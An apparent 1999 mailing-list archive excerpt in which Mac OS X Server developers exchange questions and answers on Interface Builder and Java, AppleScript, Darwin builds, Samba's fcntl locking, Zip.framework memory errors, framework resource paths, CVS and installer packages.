http://developer.apple.com/techpubs/macosx/System/Documentation/Developer/YellowBox/TasksAndConcepts/JavaTutorial/JavaTutorial.pdf Has anyone else walked through this tutorial? When I get to page 24, and I attempt to generate the source code files, Interface Builder only gives me the option of generating an Objective C header and implementation file, not Java. But the tutorial is obstensibly about how to go about building a simple temperature converter in Java, not Objective C. I don't see a clear way to indicate language choice in Project Builder, and in any case the tutorial assumes that when you choose "Create files" from the Classes menu that the dialog box that appears will ask "Create TempController.java?". But it doesn't happen that way. So what am I doing wrong? Bill --------------------------------------------------------------------------- Get your free Anti-Social.com email at http://Anti-Social.com --------------------------------------------------------------------------- From poquito at concentric.net Wed Jul 21 19:07:19 1999 From: poquito at concentric.net (Winston) Date: Thu Nov 3 14:42:11 2005 Subject: Getting IB to work with Yellow Box in Java References: <199907212342.TAA03319@gold1.digiweb.com> Message-ID: <37967CD6.C9CCB62B@concentric.net> It sounds like you are trying to create your controller in Interface Builder? The language it chooses depends on what you subclassed to define your controller. If you subclass java.lang.Object instead of the Objective-C object (NSController or something), then when you Create Source for that class, it makes java source. -ww --- wbrooks@anti-social.com wrote: > I'm trying to learn how to develop a new application against the Yellow Box APIs on Mac OS X server. To this end, i'm going through the tutorials one can find on Apple's ADC web site at > > http://developer.apple.com/techpubs/macosx/System/Documentation/Developer/YellowBox/TasksAndConcepts/JavaTutorial/JavaTutorial.pdf > > Has anyone else walked through this tutorial? When I get to page 24, and I attempt to generate the source code files, Interface Builder only gives me the option of generating an Objective C header and implementation file, not Java. But the tutorial is obstensibly about how to go about building a simple temperature converter in Java, not Objective C. > > I don't see a clear way to indicate language choice in Project Builder, and in any case the tutorial assumes that when you choose "Create files" from the Classes menu that the dialog box that appears will ask "Create TempController.java?". But it doesn't happen that way. > > So what am I doing wrong? > > Bill > > --------------------------------------------------------------------------- > Get your free Anti-Social.com email at http://Anti-Social.com > --------------------------------------------------------------------------- From marcel at system.de Wed Jul 21 13:56:15 1999 From: marcel at system.de (Marcel Weiher) Date: Thu Nov 3 14:42:11 2005 Subject: EPS and PostScript issues Message-ID: Two basic options: Print to File -> Include Fonts essentially pipes the file through /System/Library/Services/PrintFilters.service/psprepare, so you could just do that. Or, you could just include that one font yourself, NSView has some methods you can override for inserting Postscript setup code. What needs to go there is something (roughly) like %%BeginFont: Sonata [... the Type 1 font ... ] %%EndFont though you should check with the Red Book on the exact comments to include (they probably also have to be declared as both required and provided fonts, using %%DocumentSuppliedFonts: Sonata somewhere in the header). Marcel > From: Stephen Brandon - SysAdmin > > Secondly, I would like to be able to force particular fonts to be included > in a print job, without having to do a Print to File -> Include Fonts. This > is because we'll be using a networked PS printer which will not have > important fonts like Sonata installed by default. There may be utilities > which can upload fonts to the printer, but it would be really useful to just > include them in the file by default. This makes it easier to print to a > number of different printers without having to configure them first. From micha at object-factory.com Thu Jul 22 01:21:18 1999 From: micha at object-factory.com (Michael Maier) Date: Thu Nov 3 14:42:11 2005 Subject: applescript "make new" command Message-ID: <199907220821.KAA13913@helicon.object-factory.com> >tell application "myapp" > make new MyClass >end tell hi justin if you want to make a new object in AppleScript in some cases another parameter is required. If you use the AppKitScripting or Scripting framework you need to specify where the new object should be inserted. tell app "myapp" make new myclass at end end tell or tell app "myapp" make new myclass at beginning end tell tell app "myapp" make new myclass in front of ... (* or like that *) end tell if you use AppleScript with "classic" application sometimes no additional parameter is required because the application can handle the make command without taking care about the position of the new object. I hope that will help you cheers, Michael -- =========================================================== Michael Maier | | Object Factory GmbH | phone (0231)975137-0 Otto-Hahn-Strasse 18 | fax (0231)975137-99 44227 Dortmund | email m.maier@object-factory.com =========================================================== The software says Windows 98 or better, so I bought a Mac. From gclem at frontline-software.dk Thu Jul 22 03:34:42 1999 From: gclem at frontline-software.dk (Geert B. Clemmensen) Date: Thu Nov 3 14:42:11 2005 Subject: Resolution & Mac OS X Server Message-ID: <199907221034.MAA10179@snaps.frontline-software.dk> Hello there, Anyone that has tried to hookup a 42" plasma monitor/screen (852x480, 60Hz, VGA connector) to a G3 running Mac OS X Server? If yes, what are the tricks, if any, to get this to work? Geert B. Clemmensen Frontline Software From imyrvold at zajil.net Thu Jul 22 03:31:08 1999 From: imyrvold at zajil.net (Ivan C Myrvold) Date: Thu Nov 3 14:42:11 2005 Subject: Getting IB to work with Yellow Box in Java In-Reply-To: <37967CD6.C9CCB62B@concentric.net> References: <37967CD6.C9CCB62B@concentric.net> Message-ID: You can subclass any class you want, not only java.lang.Object. Just make sure that the subclass is set to java class, with the Inspector. Ivan >It sounds like you are trying to create your controller in Interface >Builder? The language it chooses depends on what you subclassed to >define your controller. If you subclass java.lang.Object instead of >the Objective-C object (NSController or something), then when you >Create Source for that class, it makes java source. > >-ww >--- >wbrooks@anti-social.com wrote: > >> I'm trying to learn how to develop a new application against the >>Yellow Box APIs on Mac OS X server. To this end, i'm going through >>the tutorials one can find on Apple's ADC web site at >> >> >>http://developer.apple.com/techpubs/macosx/System/Documentation/Develo >>per/YellowBox/TasksAndConcepts/JavaTutorial/JavaTutorial.pdf >> >> Has anyone else walked through this tutorial? When I get to page >>24, and I attempt to generate the source code files, Interface >>Builder only gives me the option of generating an Objective C >>header and implementation file, not Java. But the tutorial is >>obstensibly about how to go about building a simple temperature >>converter in Java, not Objective C. >> >> I don't see a clear way to indicate language choice in Project >>Builder, and in any case the tutorial assumes that when you choose >>"Create files" from the Classes menu that the dialog box that >>appears will ask "Create TempController.java?". But it doesn't >>happen that way. >> >> So what am I doing wrong? >> >> Bill >> >> --------------------------------------------------------------------------- >> Get your free Anti-Social.com email at http://Anti-Social.com >> --------------------------------------------------------------------------- Ivan C Myrvold Norconsult Telematics P.O.Box 2026 Riyadh 11451 Kingdom of Saudi Arabia Tel. +966 1 478 2024 x 287 Fax: +966 1 476 1567 Email: i-my@online.no From jon at colossus.cs.wits.ac.za Thu Jul 22 05:26:04 1999 From: jon at colossus.cs.wits.ac.za (John Ostrowick) Date: Thu Nov 3 14:42:11 2005 Subject: nothing works :-( Message-ID: hi all i posted this to the admin list but got no response so i'm trying here. basically, i want to try get netatalk to compile. no luck. adrian sun, the author, tells me that i needed some header files from the darwin project. fine, i got the things i thought i needed. but none of them compile or seem to help me in any way. i got the following: architecture-1 at_cmds-1 kernel-1 (because i want to see if there is a quote compile time option) libc-1 libcat-1 none of these make when i type make, they all come up with errors. i assume i should compile libc-1 first. that being the case, here's the output: /usr/bin/cc -g -Wmost -pipe -O -dynamic -fno-common -fno-builtin -I/Local/Public/SandBox/root/c/derived_src -I/Local/Public/SandBox/root/c/ProjectHeaders -I/Local/Public/SandBox/root/c/derived_src/drivers.subproj -arch ppc -I. -c evs_api.c -o /Local/Public/SandBox/root/c/dynamic_obj/ppc/drivers.subproj/evs_api.o /System/Library/Frameworks/System.framework/Headers/bsd/dev/machine/evio.h:6: header file 'bsd/dev/ppc/evio.h' not found evs_api.c:133: undefined type, found `_NXLLEvent' make[3]: *** [evs_api.o] Error 1 ---- Stopping build due to failure in drivers make[2]: *** [project] Error 1 ---- Stopping build due to failure in drivers.subproj make[1]: *** [all_subprojects] Error 1 make: *** [all] Error 2 now this looks like bad code to me, not some missing header file. how is this possibel? surely if apple have the source for their own OS is should compile out the box on that OS? does anyone know what i'm doing wrong here? thanks in advance From bbum at codefab.com Thu Jul 22 08:21:21 1999 From: bbum at codefab.com (Bill Bumgarner) Date: Thu Nov 3 14:42:11 2005 Subject: Resolution & Mac OS X Server In-Reply-To: <199907221034.MAA10179@snaps.frontline-software.dk> Message-ID: Haven't tried that particularly monitor... didin't even know such a beast exists. :-) However, this default will likely help in selecting that particular resolution-- or not, that's an odd one. defaults write NSGlobalDomain NSEnableShowAllDisplayModes YES At least, it'll show *all* of the available displays. b.bum On Thu, 22 Jul 1999, Geert B. Clemmensen wrote: > Hello there, > > Anyone that has tried to hookup a 42" plasma monitor/screen (852x480, > 60Hz, VGA connector) to a G3 running Mac OS X Server? If yes, what > are the tricks, if any, to get this to work? > > Geert B. Clemmensen > Frontline Software > > From mike at lorax.com Fri Jul 23 08:43:19 1999 From: mike at lorax.com (Mike Ferris) Date: Thu Nov 3 14:42:12 2005 Subject: applescript "make new" command Message-ID: <199907231638.JAA17499@boom.lorax.com> The thing about "make new" is that it has a required "at" argument. So, in Sketch, for example, you should be able to make a new rectangle with something like: make new Rectangle at before the first graphic of the front document with attributes {x location:20, y location:20, width:100, height:100} A new document would be: make new Document at before the front document Not only is this a fairly awkward construction ("at before"?), but people have also told me that the "at" argument is not always required in practice. When this stuff was being implemented, the core suite documentation I was reading listed it as required. Currently in the Cocoa scripting support, it is definitely required. Mike Ferris From wchin at acm.org Fri Jul 23 13:01:32 1999 From: wchin at acm.org (Bill Chin) Date: Thu Nov 3 14:42:12 2005 Subject: fcntl F_GETLK broken? Message-ID: <199907232003.QAA03243@mail.richmond.net> While trying to get samba 2.0.5 compiled, the samba configuration script complains about MOXS's fcntl support. This didn't happen in 2.0.4... after some digging, it appears that the 2.0.5 source/tests/fcntl_test.c now properly interprets the exit code and properly determined that something is wrong (and was wrong with previous versions too). samba/source/tests/fcntl_test.c basically creates a file, locks it with fcntl's F_SETLK with a F_WRLCK. It also spawns a child (before locking) that waits 2 seconds then tries a F_GETLCK. This operation fails with a return of -1 and an errno of 45 (EOPNOTSUPP, or operation not supported) which is reported back to the parent. Samba relies on this to determine if a region of a file is locked (see is_locked() in samba/source/locking/locking.c). Looking through the Darwin sources, it does appear that the functionality does exist for both UFS and HFS file systems. F_SETLCK, after all, succeeds. Unfortunately, I'm still having problems getting Darwin to compile. I'm hoping someone could shed some light on the fcntl situation as I fumble around trying to figure out what's going on. Thanks! ..Bill Chin wchin@acm.org (MIME/NeXTmail accepted) -- Bill Chin (NeXTmail/MIME accepted) From bierman at apple.com Fri Jul 23 15:29:17 1999 From: bierman at apple.com (Peter Bierman) Date: Thu Nov 3 14:42:12 2005 Subject: {ANN} System Disk 2.3 Message-ID: System Disk 2.3 is now available from Apple's Developer Connection website. http://developer.apple.com/macosx/ ftp://ftp.apple.com/developer/macosxserver/utilities/SystemDisk2.3.smi.bin System Disk 2.3 updates the System Disk utility included with Mac OS X Server and Mac OS X DP1. System Disk 2.3 contains an all new Disk I/O subsystem, including support for ATA devices in slave mode. System Disk 2.3 does not bring new functionality to machines currently incompatible with Mac OS X or Mac OS X Server. -pmb -- "UNIX shells in Mac OS X should be unneeded but functional... and have the same installed base as MPW." From sunofra at deccanet.com Sat Jul 24 08:43:47 1999 From: sunofra at deccanet.com (Raffi Minassian) Date: Thu Nov 3 14:42:12 2005 Subject: Objective-C vs. Java References: Message-ID: <3799DF2F.44E9590B@deccanet.com> Just want to chime in on this one (a little late I know)... We have an application written in "a very bad, very old" language which I cant name here. Anyway, we've been evaluating where to go with it for the last 6 months. It came down to Java vs Cocoa a few months ago. I was saddened by or decision to move forward with Java rather than Cocoa. The reason for our decision was due to the lack of a clear licensing strategy from Apple for the yellow libraries on the Windows and Linux platforms (which we MUST support). If we didn't have to be muli-mainstream-platform (yes, I can hear the screams of heresy already), we would have definitely gone with Cocoa. But things being as they are, Java wins because our testing led us to believe that Java "can cut it" on all the required platforms. After working with Java for a while, I must admit that it grows on you and what once looked like hell is actually starting to get rosy. Anyway, just my 2 cents. (Sorry I cant give an details on the app but you can rummage through our web site for hints if you like). Stay well. -- Raffi Minassian Raffi@dcit.com Senior Developer and Founder DataConcepts Information Technology Corporation "The Information Technology Company" (tm) http://www.dcit.com 724 Bergen Blvd Ridgefield, NJ 07657 201-313-1845 ext 712 201-941-9699 fax ============================================================ **Do not be arrogant because of your knowledge, but confer with the ignorant man as with the learned... -Maxims of Ptahhotep, Dyn. V ** ============================================================ From rcfa at cubiculum.com Sat Jul 24 17:34:00 1999 From: rcfa at cubiculum.com (Ronald C.F. Antony) Date: Thu Nov 3 14:42:12 2005 Subject: Objective-C vs. Java In-Reply-To: <3799DF2F.44E9590B@deccanet.com> References: <3799DF2F.44E9590B@deccanet.com> Message-ID: <199907250034.UAA00548@wenix.cubiculum.com> > If we didn't have to be muli-mainstream-platform (yes, I can hear the > screams of heresy already), we would have definitely gone with Cocoa. But > things being as they are, Java wins because our testing led us to believe > that Java "can cut it" on all the required platforms. Well, if people in your situation would help with GNUStep, then not only would we have a fully open sourced development environment that does not rely on anyone's licensing, but OpenStep/YB/Cocoa APIs would be available on any platform one could desire. Already, for many projects that are not too GUI intensive, the GNUStep libraries are providing a decent basis. > After working with > Java for a while, I must admit that it grows on you and what once looked > like hell is actually starting to get rosy. The problem with Java is not that it's 100% bad, but that at a time when the state of the art was advanced further, Java reinvented the wheel, but at a state of technology that was already outdated. Had Java arrived in the late 70s, it would have been a great tool. For people who work with tools that are even more outdated (a majority), Java comes as a blessing, but for the rest, it's a curse, because people who just invested a major effort in upgrading to Java will not anytime soon upgrade to something that's significantly better, but that has advantages that are only visible in subtle ways to the average decision makers, who know way to little about the technology. Java is like Windows: too little, too late, but adopted by the masses. Ronald ============================================================================== "The reasonable man adapts himself to the world; the unreasonable one persists in trying to adapt the world to himself. Therefore all progress depends on the unreasonable man." G.B. Shaw | rcfa@cubiculum.com | NeXT-mail welcome From alexnet at gestalt.com Sat Jul 24 17:37:01 1999 From: alexnet at gestalt.com (Alex Molochnikov) Date: Thu Nov 3 14:42:12 2005 Subject: Sending e-mail from a program Message-ID: <9907250037.AA01856@gestalt.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1175 bytes Desc: not available Url : /mailman/archive/macosx-dev/attachments/19990724/7d5e97e7/attachment.bin From paulrs at lgs-systems.com Sun Jul 25 07:13:37 1999 From: paulrs at lgs-systems.com (Paul R. Summermatter) Date: Thu Nov 3 14:42:12 2005 Subject: Exception with PopupMenu Message-ID: <9907251413.AA19859@slab> RE: YB/NT WOF 4.01 Hey guys, I'm just throwing this one out there in case anyone has seen this. We have not yet been able to reproduce this problem, and the user can't seem to remember exactly what she was doing when this happened, but she got the following exception: Call to Windows APITrack PopupMenu 0 Failed has anyone seen this before? Does anyone know where I could even start to track this one down? Any help is welcome. Regards, Paul --- Paul Summermatter LGS Systems, Inc. Medical Computing Division 15 TJ Gamester Ave Portsmouth, NH 03801-5871 (603) 433-9822 voice (603) 433-9818 fax (888) 898-6321 pager 8986321@skytel.com paging email paulrs@lgs-systems.com (NeXT or MIME Mail Welcome) http://www.lgs-systems.com From erik at object-factory.com Mon Jul 26 02:03:47 1999 From: erik at object-factory.com (Erik Doernenburg) Date: Thu Nov 3 14:42:12 2005 Subject: Sending e-mail from a program Message-ID: <199907260903.CAA05211@ignem.omnigroup.com> > From: Alex Molochnikov > I am trying to programmatically compose and send e-mail to a specific address > from a Yellow Box application (sorry, still cannot get used to this Cocoa > abomination...). So far I found only one way of doing it: call system("mail -s > MessageHeader myaddressee@somewhere.com < File.msg"). In other words, I > execute the mail agent, pass the parameters to it, including the file with the > body of the message, and it works... sometimes. > > [...] > > But perhaps I started off the deep end? Maybe there is a better way to > programmatically compose/send e-mail from MOSXS? > If you are working with WebObjects look at WOMailDelivery. Otherwise you can check out the Message framework in /System/Library/Frameworks which has one public class: NSMailDelivery. good luck, erik -- OBJECT FACTORY, Gesellschaft fuer Informatik und Datenverarbeitung mbH Telephone: ++49 +231 9751370 . Internet: http://www.object-factory.com From nathand at senet.com.au Mon Jul 26 02:12:57 1999 From: nathand at senet.com.au (Nathan Day) Date: Thu Nov 3 14:42:12 2005 Subject: MiscSoundKit Message-ID: <199907260918.SAA16857@pluto.senet.com.au> I thought I'd have a go at compiling the MiscSoundKit again, I've got the sound kit header files now and set up the appropriate link, but I still get the errors cannot find class(factor) method this is a reference to the message 'isKindOfClass' to test for an object of class 'Sound' 'NX_SoundStopped' undeclared (first use this function) 'NX_SoundInitialized' undeclared (first use this function) 'NX_SoundFreed' undeclared (first use this function) 'NX_SoundRecording' undeclared (first use this function) 'NX_ SoundRecordingPaused' undeclared (first use this function) I also find references to the methods 'samplesProcessed', 'sampleCount', 'getVolume'::' and 'isMuted' but can't find any declarations for them. Am I missing some file that contains the interface for a 'Sound' class, perhaps this was originally part of the Application Kit or Foundation Kit not the Sound Kit. From nat at object-factory.com Mon Jul 26 02:43:13 1999 From: nat at object-factory.com (Georg Wallmann) Date: Thu Nov 3 14:42:12 2005 Subject: Zip.framework : Malloc-related error detected with code 5 Message-ID: <199907260943.LAA02443@walitza.object-factory.com> Has anyone played with the Apple supplied Zip.framework ? It compresses and decompresses nicely, but whenever I am decompressing I get the following message: Malloc-related error detected with code 5 This is the relevant stack trace: #0 0x4130b5a8 in write () #1 0x4259d088 in _NSWriteToFileDescriptor () #2 0x4259c28c in _NSHandleMallocError () #3 0x41305d68 in free () #4 0x41308534 in _internal_object_dispose () #5 0x42503188 in NSDeallocateObject () #6 0x425031ac in -[NSObject dealloc] () #7 0x4251c060 in -[NSConcreteData dealloc] () #8 0x425178dc in -[NSConcreteData release] () #9 0x42510688 in NSPopAutoreleasePool () #10 0x4251a888 in -[NSAutoreleasePool release] () #11 0x43388f34 in -[NSApplication run] () #12 0x43503b8c in NSApplicationMain () #13 0x3e40 in main (argc=2, argv=0xbfffefd8) at main.m:4 #14 0x3918 in _start () #15 0x37d8 in start () Now, except for that warning I haven't observed any detrimental side effects, but I sure would feel more comfortable, if I could make that message disappear. This is my code: @implementation NSData ( ZLib) ... - (NSData *) decompressedDataUsingZLib:(unsigned long) decompressedSize { NSMutableData *dst; uLongf len; len = decompressedSize + 8192; // + 8192 is Voodoo dst = [[[NSMutableData allocWithZone:[self zone]] initWithLength:len] autorelease]; switch( uncompress( [dst mutableBytes], &len, [self bytes], [self length])) { case Z_DATA_ERROR : [NSException raise:NSGenericException format:@"Incoming ZLib data %@ was corrupted", self]; break; case Z_MEM_ERROR : [NSException raise:NSMallocException format:@"out of memory in decompression"]; break; case Z_BUF_ERROR : return( nil); } [dst setLength:len]; return( dst); } @end Nat! From nat at object-factory.com Mon Jul 26 04:02:31 1999 From: nat at object-factory.com (Georg Wallmann) Date: Thu Nov 3 14:42:12 2005 Subject: Zip.framework : Malloc-related error detected with code 5 Message-ID: <199907261102.NAA04859@walitza.object-factory.com> Holger Hoffstaette gave me the clue, that the problem isn't with the Zip.framework but rather with Foundation (or my lack of knowledge thereof :)). The problem is that NSData claims ownership of the data it is given and assumes apparently that the memory is malloced. When one is using static data, this will produce the error: #import int main (int argc, const char *argv[]) { NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init]; static char foo[] = { 0x1, 0x2, 0x3, 0x4 }; [NSData dataWithBytesNoCopy:foo length:sizeof( foo)]; [pool release]; exit(0); // insure the process exit status is 0 return 0; // ...and make main fit the ANSI spec. } Nat! From dyoung at vviuh221.vvi.com Mon Jul 26 05:25:49 1999 From: dyoung at vviuh221.vvi.com (David Young) Date: Thu Nov 3 14:42:12 2005 Subject: MacOSXServer1.0-2.pkg.tar Message-ID: <9907261225.AA02335@vviuh221.vvi.com> FYI: I installed MacOSXServer1.0-2.pkg.tar and it really seems to have fixed some nasty bugs associated with Apache as well as some other stuff. Very nice! Also, Someone was asking for an obj-c reference manual. There is an incredibly nice tech reference for macosx at: http://developer.apple.com/techpubs/macosx/macosx.html which includes some obj-c stuff with a link to: http://developer.apple.com/techpubs/macosx/ObjectiveC/index.html Very nice again! Thanks A Bunch! David Young; VVI-DCS dyoung@vvi.com From jtyler at 3ip.net Mon Jul 26 13:51:52 1999 From: jtyler at 3ip.net (Jason Tyler) Date: Thu Nov 3 14:42:12 2005 Subject: Driver Question Message-ID: <1279100266-217562630@mail.3ip.net> At this point is there anyway to communicate with the firewire ports through OS X Server? I'm working on a project that would ideally use this port to communicate. or... is this like the usb ports and we're waiting for a full implementation? Thanks, Jason Tyler www.3ip.net From alexnet at gestalt.com Mon Jul 26 15:48:58 1999 From: alexnet at gestalt.com (Alex Molochnikov) Date: Thu Nov 3 14:42:12 2005 Subject: Sending e-mail from a program Message-ID: <9907262249.AA01568@gestalt.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 226 bytes Desc: not available Url : /mailman/archive/macosx-dev/attachments/19990726/a8515fb1/attachment.bin From mpelzsherman at yahoo.com Tue Jul 27 12:28:37 1999 From: mpelzsherman at yahoo.com (Michael Pelz Sherman) Date: Thu Nov 3 14:42:12 2005 Subject: Indexing Problems on OS X Server Message-ID: <19990727192837.16489.rocketmail@web601.yahoomail.com> Has anyone else experienced this problem? For some reason, none of my PB projects will index properly. The indexer never finishes indexing them. Thanks, - Michael _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com From karl at nfox.com Tue Jul 27 18:09:24 1999 From: karl at nfox.com (Karl Kraft) Date: Thu Nov 3 14:42:12 2005 Subject: Indexing Problems on OS X Server References: <19990727192837.16489.rocketmail@web601.yahoomail.com> Message-ID: <00b501bed8e4$bdf5d3a0$0329040a@nfox.com> I've noticed this occurs when the Objective-C code in a header is syntactically legal, yet confusing to the parser. When this has happened before, I skip to the file that it died on (the first non-indexed one), and look for "borderline" code. ----- Original Message ----- From: Michael Pelz Sherman To: Multiple recipients of list Sent: Tuesday, July 27, 1999 12:34 PM Subject: Indexing Problems on OS X Server Has anyone else experienced this problem? For some reason, none of my PB projects will index properly. The indexer never finishes indexing them. Thanks, - Michael _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com From maury at OAAI.COM Wed Jul 28 08:50:03 1999 From: maury at OAAI.COM (Maury Markowitz) Date: Thu Nov 3 14:42:12 2005 Subject: NT resource search paths? Message-ID: <199907281543.LAA23668@OAAI.COM> I'm having trouble figuring out where NT AppKit stuff finds resources. I build frameworks to a local directory, ~/Library/Frameworks... and some resources can be found by the linking app, and some can't. Moreover when the user installs to their machine they typically put the files in /Apple/Local/Library/Frameworks, and they say that the app can't find any resources in that case. I've taken to hand-copying the resources out of the frameworks and into the app's Resources folder, but this is not at all a good solution. Anyone got any tips? Maury From mpelzsherman at yahoo.com Wed Jul 28 10:51:37 1999 From: mpelzsherman at yahoo.com (Michael Pelz Sherman) Date: Thu Nov 3 14:42:12 2005 Subject: Indexing Problems on OS X Server Message-ID: <19990728175137.7765.rocketmail@web601.yahoomail.com> Thanks, Karl. I've run into this before, too. The problem I was having was universal, though. Fortunately, it seems that installing the update to OS X server recently released by Apple (http://asu.info.apple.com/swupdates.nsf/artnum/n11355) fixed the problem. I have no idea whether the problem was related to the update, but it seems to be working fine now. Incidentally, one sure-fire way to confuse the indexer is the use of emoticons in your source comments. The trick here is to always make sure your emotions are "balanced". (-: :-) - Michael --- Karl Kraft wrote: > I've noticed this occurs when the Objective-C code in a header is syntactically legal, yet > confusing to the parser. When this has > happened before, I skip to the file that it died on (the first non-indexed one), and look for > "borderline" code. > > > > > > ----- Original Message ----- > From: Michael Pelz Sherman > To: Multiple recipients of list > Sent: Tuesday, July 27, 1999 12:34 PM > Subject: Indexing Problems on OS X Server > > > Has anyone else experienced this problem? For some reason, none of my PB projects will index > properly. The indexer never finishes indexing them. > > Thanks, > - Michael > _________________________________________________________ > Do You Yahoo!? > Get your free @yahoo.com address at http://mail.yahoo.com > > > > _____________________________________________________________ Do You Yahoo!? Free instant messaging and more at http://messenger.yahoo.com From Jerry.Porter at targetbase.com Wed Jul 28 11:33:17 1999 From: Jerry.Porter at targetbase.com (Jerry.Porter@targetbase.com) Date: Thu Nov 3 14:42:12 2005 Subject: NT resource search paths? Message-ID: <000011D1.C21479@targetbase.com> Maury, We have a stategy here of creating a deployment structure like the following: create a environment variable called LOCAL_LIBRARY and point it to something like C:\LocalLIbrary add to your path c:\LocalLibrary\Executables (This is important) set up your make files to force your builds to go to $LOCAL_LIBRARY When you do this ProjectBuilder should make an Apps, Frameworks, Executables, Tools etc directories under $LOCAL_LIBRARY. When you build your projects make sure that Framework Search Order is $(LOCAL_LIBRARY)/Frameworks. And when you add the frameworks get them from $(LOCAL_LIBRARY)/Frameworks and make sure that the framework is not added to your Framework Search Order. $(LOCAL_LIBRARY)/Frameworks should allow you to find them all. (This $(LOCAL_LIBRARY)/Frameworks only applies to the suff you build and not Apple stuff) Then the build will split the frameworks and dlls into Frameworks and Executables properly. Hope this helps. Jerry ____________________Reply Separator____________________ Subject: NT resource search paths? Author: Maury Markowitz Date: 7/28/99 10:48 AM I'm having trouble figuring out where NT AppKit stuff finds resources. I build frameworks to a local directory, ~/Library/Frameworks... and some resources can be found by the linking app, and some can't. Moreover when the user installs to their machine they typically put the files in /Apple/Local/Library/Frameworks, and they say that the app can't find any resources in that case. I've taken to hand-copying the resources out of the frameworks and into the app's Resources folder, but this is not at all a good solution. Anyone got any tips? Maury From russl at edmark.com Wed Jul 28 13:45:42 1999 From: russl at edmark.com (Russ LaValle) Date: Thu Nov 3 14:42:12 2005 Subject: CVS on Mac OS X Server (starting from scratch) Message-ID: <19990728204510126.AAA360@yoda.mail.edmark.com@[204.201.212.27]> Hi all, I've reviewed the recent archives and am a bit confused about getting CVS running on Mac OS X Server. Is CVS actually part of Apple's install? I can see no reference to it on my drive. Being totally new to unix, I was expecting a shortcut on the desktop saying "CVS"! Doing a Find file returned nothing with CVS in the name. The big question is: Is there a resource somewhere that tells a non unix person how to install and set up CVS under Mac OS X? If not, can someone please send the discrete steps involved? Thanks tons, Russ From ccunning at math.ohio-state.edu Wed Jul 28 15:12:49 1999 From: ccunning at math.ohio-state.edu (Chad Cunningham) Date: Thu Nov 3 14:42:12 2005 Subject: installers Message-ID: <379F7FEA.53FCE8B6@math.ohio-state.edu> Are there any docs anywhere on how to create .pkg packages that can use the OSXS installer? From phr at projectcenter.ch Wed Jul 28 16:06:15 1999 From: phr at projectcenter.ch (Philippe C.D. Robert) Date: Thu Nov 3 14:42:12 2005 Subject: CVS on Mac OS X Server (starting from scratch) In-Reply-To: <19990728204510126.AAA360@yoda.mail.edmark.com@[204.201.212.27]> References: <19990728204510126.AAA360@yoda.mail.edmark.com@[204.201.212.27]> Message-ID: <9907282306.AA00327@projectcenter.ch> You wrote: > Is there a resource somewhere that tells a non unix person how to install > and set up CVS under Mac OS X? If not, can someone please send the > discrete steps involved? Yup. there is its html based docu somewhere on your disc (forgot the exact place, sorry, haven't access to my MOSXS box right now...) sweet dreams, Phil --- Philippe C.D. Robert - Software Engineer ######################################## # http://www.nice.ch/~phip # # http://www.projectcenter.ch # ######################################## From mike at lorax.com Wed Jul 28 19:53:49 1999 From: mike at lorax.com (Mike Ferris) Date: Thu Nov 3 14:42:12 2005 Subject: NT resource search paths? Message-ID: <199907290349.UAA25066@boom.lorax.com> > I'm having trouble figuring out where NT AppKit stuff finds > resources. I build frameworks to a local directory, > ~/Library/Frameworks... and some resources can be found by the > linking app, and some can't. Moreover when the user installs to > their machine they typically put the files in > /Apple/Local/Library/Frameworks, and they say that the app can't find > any resources in that case. > > I've taken to hand-copying the resources out of the frameworks and > into the app's Resources folder, but this is not at all a good > solution. Anyone got any tips? > Use NSBundle directly to find resources reliably from code in a framework. The usual way to go is something like: [[NSBundle bundleForClass:[self class]] pathForResource:@"MyImage" ofType:@"tiff"]; This way you always look in the bundle of the class that is loading the resource. Some of the convenience methods in the kit (like +[NSImage imageNamed:]) only look in the +mainBundle and the AppKit itself, so frameworks can't use those. Mike Ferris From sanguish at digifix.com Wed Jul 28 20:53:41 1999 From: sanguish at digifix.com (Scott Anguish) Date: Thu Nov 3 14:42:12 2005 Subject: installers In-Reply-To: <379F7FEA.53FCE8B6@math.ohio-state.edu> References: <379F7FEA.53FCE8B6@math.ohio-state.edu> Message-ID: <199907290353.XAA05491@digifix.com> Chad Cunningham wrote: > Are there any docs anywhere on how to create .pkg packages that can use > the OSXS installer? > The docs are in the Release notes.. However, you have to be VERY CAREFUL with regards to permissions, and even then you can still screw up people's drives if you aren't careful. For example.. If you have a package that installs into /usr/local/bin /usr/local/lib and /usr/local/man and you don't separate the package into small subpackages, you can either screw up the permissions on these directories, or if SHUDDER some user has the nerve to make /usr/local a link to another directory on another drive make their entire environment break. (installer won't follow links that are below the install directory..) Installer is badly broken because lawyers apparently demanded the user of pax over gnutar. Even Mac OS X Server ships with broken packages that will screw up permissions on the Solutions CD. If you need specific help, I'll be glad to help.. I've thought about writing an article on this for Stepwise.. but nobody is releasing anything so what difference does it make? From sanguish at digifix.com Wed Jul 28 21:11:01 1999 From: sanguish at digifix.com (Scott Anguish) Date: Thu Nov 3 14:42:12 2005 Subject: installers Message-ID: <199907290417.AAA05583@digifix.com> Someone pointed out.. > > > Even Mac OS X Server ships with broken packages that will screw up > > permissions on the Solutions CD. > > How can packages break permissions on a read only filesystem? I don't > understand what you mean. Yes, obviously this is not the case.. I should have said "Even Mac OS X Server ships with broken packages, that will screw up permissions, on the Solutions CD." If you install some of the packages on that CD.. say the ReportMill one, or Objective Everything (both of these companies know of the problem now, and have created new packages to replace them) you will screw up permissions on existing directories on your install. Important stuff like /Local/Library or worse. From phr at projectcenter.ch Thu Jul 29 02:43:01 1999 From: phr at projectcenter.ch (Philippe C.D. Robert) Date: Thu Nov 3 14:42:12 2005 Subject: {ANN} System Disk 2.3 In-Reply-To: References: Message-ID: <9907290943.AA00406@projectcenter.ch> You wrote: > System Disk 2.3 is now available from Apple's Developer Connection website. > > http://developer.apple.com/macosx/ > ftp://ftp.apple.com/developer/macosxserver/utilities/SystemDisk2.3.smi.bin > > System Disk 2.3 updates the System Disk utility included with Mac OS X > Server and Mac OS X DP1. System Disk 2.3 contains an all new Disk I/O > subsystem, including support for ATA devices in slave mode. System Disk 2.3 > does not bring new functionality to machines currently incompatible with > Mac OS X or Mac OS X Server. Can I use this for booting into MOSXS *and* Linux as well? sweet dreams, Phil --- Philippe C.D. Robert - Software Engineer ######################################## # http://www.nice.ch/~phip # # http://www.projectcenter.ch # ######################################## From sarwat at interlog.com Thu Jul 29 